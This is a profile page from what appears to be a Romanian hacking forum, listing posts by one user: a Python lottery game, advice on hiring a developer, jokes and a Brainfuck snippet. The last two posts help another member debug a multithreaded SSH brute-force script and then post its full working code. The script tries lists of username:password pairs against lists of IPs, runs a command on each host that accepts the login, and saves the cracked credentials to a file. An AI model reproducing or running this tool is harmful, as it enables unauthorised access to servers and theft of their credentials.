Jump to content

MrGrj

Active Members
  • Posts

    1414
  • Joined

  • Last visited

  • Days Won

    44

Posts posted by MrGrj

  1. Cadou de Craciun :) 

     

    import random
    import sys
    import time
    
    
    # generate numbers from 1 to 30 mapped to red color
    NUMBERS = {number: 'red' for number in list(range(1, 31))}
    
    
    class Colors:
        """
        ANSI color codes.
        """
        # RED is used for all the numbers
        RED = '\033[91m'
    
        # GREEN is used for displaying computer's random
        # chosen number
        GREEN = '\033[92m'
    
        # BLUE is used for displaying user's chosen
        # number
        BLUE = '\033[94m'
    
        END = '\033[0m'
    
    
    def assign_color_to_number(number, color):
        """
        Show ANSI colors in terminal for nicer UX.
        """
        
        if color == 'red':
            return f'{Colors.RED}{number}{Colors.END}'
        elif color == 'green':
            return f'{Colors.GREEN}{number}{Colors.END}'
        elif color == 'blue':
            return f'{Colors.BLUE}{number}{Colors.END}'
        else:
            return number
    
    
    def print_table(numbers):
        """
        Print a nice table with colorful numbers wrapped at 5.
        """
    
        print('\n')
        for number, color in numbers.items():
            number = assign_color_to_number(number, color).ljust(12)
            if number % 5 != 0:
                print(number, end=' ')
            else:
                print(number)
        print('\n')
    
    
    def countdown(seconds, user_number):
        """
        Let user know how much until the next game.
    
        Arguments:
            seconds (int): How many seconds until next game.
            user_number (int): User's lucky & chosen number.
        """
    
        print(f"You chose {user_number}. GOOD LUCK!\n\n")
    
        for second in range(seconds, -1, -1):
            sys.stdout.write(
                f"\r{second} seconds remaining until one number will change its color to green."
            )
            time.sleep(1)
            sys.stdout.flush()
    
        print('\n')
    
    
    def get_user_number():
        """
        Sanitize user's input.
        """
    
        while True:
            try:
                value = int(input('Please choose a number between 1 and 30: '))
                if 30 < value < 1:
                    print("Please insert a number between 1 and 30!\n")
                    continue
                return value
            except ValueError:
                print("Please insert a number between 1 and 30!\n")
                continue
    
    
    def play():
        print_table(NUMBERS)
    
        user_number = get_user_number()
        countdown(5, user_number)
    
        random_number = random.randint(1, 30)
    
        if user_number != random_number:
            NUMBERS.update({random_number: 'green', user_number: 'blue'})
            print_table(NUMBERS)
            print(
                f'You did not guess the number. Our number was: {random_number} '
                f'and yours was: {user_number}.\n\nGOOD LUCK NEXT TIME'
            )
        else:
            print(
                'You guessed it! Congrats! Please fill in the information '
                'below in order to receive your prize.\n\n'
            )
    
            name = input('Your name: ')
            age = input('Your age: ')
            email = input('Your email: ')
    
            print(f'Name: {name}\nAge: {age}\nEmail:{email}')
    
        # reset our numbers
        NUMBERS.update({random_number: 'red', user_number: 'red'})
    
    
    def main():
        print('\nWELCOME TO LOTTERY!')
    
        while True:
            play()
            answer = input('Play again? [Y]es/[N]o: ')
    
            if answer.lower() == 'n':
                break
    
        print('\nTHANKS FOR PLAYING!')
    
        
    if __name__ == '__main__':
        main()

     

    Aici ai si link cu codu' si poti sa ii dai un Run de test. Am pus si niste comment-uri in caz ca vrei sa intelegi ce se intampla, desi ma indoiesc.

     

    PS: Codu' e scris destul de repede but it does it job chiar daca nu e perfect organizat.

     

    Enjoy :) 

    • Upvote 1
  2. Salut,

     

    Io n-am inteles nimic din ceea ce vrei.

     

    - Care numere sunt verzi si care sunt rosii? 

    - Sunt doua seturi de 30 de numere, un set fiind rosu si altul fiind verde?

    - Cum determini cand un numar e disponibil?

    - De unde au aparut campurile alea? Sunt prin Baragan?

    - Etc.

     

    Mersi

  3. Hai sa iti explic putin cum sta treaba daca vrei sa gasesti pe cineva:

     

    1. Descrie asa cum trebuie proiectul.

    1.1 Ce fel de interfata? Web / Desktop / Command Line?

    1.2 Cum arata excel-ul respectiv? Sunt mai multe sheets? E foarte mare fisierul?

    1.3 Cum ai vrea sa arate "interfata" respectiva?

    1.4 Ce legatura au PDF-ul si WORD-ul cu excelul?

     

    2. Ce suma oferi pentru cele de mai sus?

    2.1 Oferi un avans?

    2.2 Garantezi ca vei plati developerul care iti va face acest proiect?

    2.3 Daca garantezi, cum o faci?

    2.4 Cum vei face plata?

     

    Daca oferi aceste detalii iti garantez ca se vor gasi oameni care te vor ajuta. Poate chiar si gratis, pentru portofoliu, daca e ceva rapid :) 

    • Like 1
    • Thanks 1
    • Upvote 3
  4. Si uite asa mai adaugam un putzache cu mentalitate de "sa fie usor, ceva simplu si flexibil + sa curga banii" in industria IT. Vreti sa fiti manageri sau sa invatati programare "the easy way" insa nu sunteti in stare sa va informati din mii de surse, articole sau carti.  

     

    /pacat

    • Upvote 3
  5. 4 hours ago, Nytro said:

    Da, probabil nu ii intereseaza banii din moment ce merg acolo...

    Eu sunt curios ce fac acele firme: au acei 2-3 angajati care fac tot anul research si exploit development, probabil. Si cum fac profit? Acei "bani" sunt frectie, mai ales ca salarii decente in US pleaca de la 150.000$ pe an. 

    Inteleg ca e OK ca marketing, dar nu inteleg complet business-case-ul lor. 

    Cel mai probabil sun finantate si sponsorizate de acele firme ca sa gaseasca alea. :D 

  6. Hai ca incerc eu. Din moment ce n-ai mentionat limbaju', o sa aleg Brainfuck:

     

    ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++.>-------------------.+++++++++++++++++.+.<<--.>>.----------.<<.>>---.-----.<<+++++++++++++.>>+++++++++++++++++++.-----------.<<-------------.>>+++++++++++.---------------.++++++++.--------.+++++++.-------.<<.>>++++++++++++++.----------.+++++.-------.++++++++++++++.---.<<.>>---------------.--.<<.>>+++.---.++.--.<<.>>+++++++++++++.+++++++.<<.>>+.-----------------.++++.<<.>>++++.++++++++.---.---------.<<.>>+++++++.++.---.++++.+.<<++++++++++++++.--------------.>++++++++++++++++++.>++++++++.<.<.>------------------.>-------.------------.----.<<++.+++++++.

     

    • Confused 1
  7. 24 minutes ago, BiosHell said:

    Formulat corect : Hello, am o si eu o întrebare , se POT adauga mai multe proxyuri unui program ?

    Formulat si mai corect:

    Hello, am si eu o intrebare idioata: Se pot adauga mai multe proxy-uri intr-un program?

     

    :)) Peace 

     

     

    • Haha 1
  8. On 2/16/2019 at 8:55 PM, kmkozeu said:

    File "t.py", line 24, in kraken
        dbg = str(sys.argv[4])

    Trebuie sa mai pui un argument la sfarsitul comenzii:

     

    python t.py 500 ips pass bad
    # adauga asta            ^^^

     

    On 2/16/2019 at 8:55 PM, kmkozeu said:

    No handlers could be found for logger "paramiko.transport"

    Trebuie sa adaugi asta:

    paramiko.util.log_to_file("filename.log")

     

  9. import Queue
    import paramiko
    import sys
    import threading
    
    
    class SSHBrute(threading.Thread):
        def __init__(self, queue):
            threading.Thread.__init__(self)
            self.queue = queue
    
        def run(self):
            while True:
                ip, user, passwd = self.queue.get()
                self.kraken(ip, user, passwd)
                self.queue.task_done()
    
        def kraken(self, ip, user, passwd):
            cracked = []
            bad = open('bad.txt', 'w')
            val = open('valid.txt', 'a')
            nologs = open('nologins.txt', 'a')
            raw = open('raw.txt', 'a')
            dbg = str(sys.argv[4])
    
            try:
                if ip in cracked:
                    return False
    
                if '%user%' in str(passwd):
                    passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2])
    
                if '%User%' in str(passwd):
                    pwd = '{}{}'.format(user, passwd.split("%")[2])
                    passwd = '{}{}'.format(passwd.split("%")[0], pwd.title())
    
                if str(passwd) == '%null%':
                    passwd = ''
    
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(ip, username=user, password=passwd, timeout=35)
                raw.write(ip + ' ' + user + ' ' + passwd + '\n')
                raw.flush()
                chan = ssh.get_transport().open_session()
                chan.settimeout(35)
                chan.exec_command('uname -a')
                data = chan.recv(1024)
    
                if len(data) == 0:
                    nologs.write('{} {} {}\n'.format(ip, user, passwd))
                    nologs.flush()
                    return False
    
                val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip()))
                val.flush()
                cracked.append(ip)
                chan.close()
                ssh.close()
    
                return True
            except Exception as e:
                if 'uthent' in str(e):
                    if dbg == 'bad':
                        bad.write(ip + '\n')
                        bad.flush()
                    ssh.close()
                    return False
                ssh.close()
                return False
    
    
    def brutemain():
        if len(sys.argv) < 2:
            return False
    
        ThreadNR = int(sys.argv[1])
        queue = Queue.Queue(maxsize=20000)
        try:
            i = 0
    
            for i in range(ThreadNR):
                t = SSHBrute(queue)
                t.daemon = True
                t.start()
                i += 1
        except Exception as e:
            print('Cant start more than {} threads because: {}.'.format(i, e))
    
        with open(str(sys.argv[2]), 'rU') as ipf:
            ips = ipf.read().splitlines()
        with open(str(sys.argv[3]), 'rU') as uf:
            users_and_passwds = uf.read().splitlines()
    
        try:
            for user_and_pass in users_and_passwds:
                for ip in ips:
                    queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip()))
        except Exception as e:
            print('Exception raised: {}'.format(e))
            pass
    
        queue.join()
    
    
    if __name__ == "__main__":
        brutemain()

     

×
×
  • Create New...